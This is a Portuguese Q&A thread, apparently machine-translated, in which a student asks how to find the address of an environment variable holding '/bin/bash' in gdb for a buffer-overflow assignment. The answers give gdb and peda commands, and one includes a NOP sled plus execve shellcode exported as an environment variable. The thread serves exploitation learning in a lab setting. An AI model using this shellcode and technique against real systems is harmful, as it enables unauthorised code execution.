it-swarm-pt.tech

Localizando variáveis ​​de ambiente com gdb, para explorar um estouro de buffer

Eu tenho que explorar um estouro de buffer muito simples em um programa C++ vulnerável para uma atribuição e não estou conseguindo encontrar a variável de ambiente Shell.

Eu nunca trabalhei com o BoF antes e depois de ler muitas perguntas semelhantes, postagens etc. Eu tenho essas informações (corrija-me se estiver errado):

  • O programa armazena as variáveis ​​de ambiente em uma variável global chamada environ
  • Eu posso encontrar o endereço dessa variável assim:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Eu preciso encontrar o /bin/bash string nessa variável para iniciar um Shell (eu já tenho o sistema e os endereços de saída, só preciso da rota para o Shell). E aqui é onde eu não sei o que fazer. Eu tenho lido tutoriais gdb, mas ainda nada. x/s 0xb7fd1b00 não produz nada útil.

12
Palantir

environ é um ponteiro para o ponteiro, pois possui o tipo char **environ.

Você tem que tentar algo como:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • As variáveis ​​de ambiente são 16 bytes do ponteiro base (% ebp).
  • Coloque um ponto de interrupção na função principal e faça isso,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Consulte este blog

4
h1dd3ntru7h

se você tiver pedag instalado no gdb, basta digitar isso no gdb:

gdb-peda$ searchmem Shell

A saída mostraria

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Além disso, você pode usar apenas "refsearch variable_name" se você tiver o pedag instalado para o gdb.

exemplo:

Antes de tudo, você deve adicionar variável (algo como Shellcode) ao ambiente.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Em seguida, abra o gdb com o programa de amostra, quebre principal e execute.

Quando o programa pausa no ponto de interrupção, você pode procurar o endereço do ambiente seguindo o comando.

refsearch Shellcode

0
user147694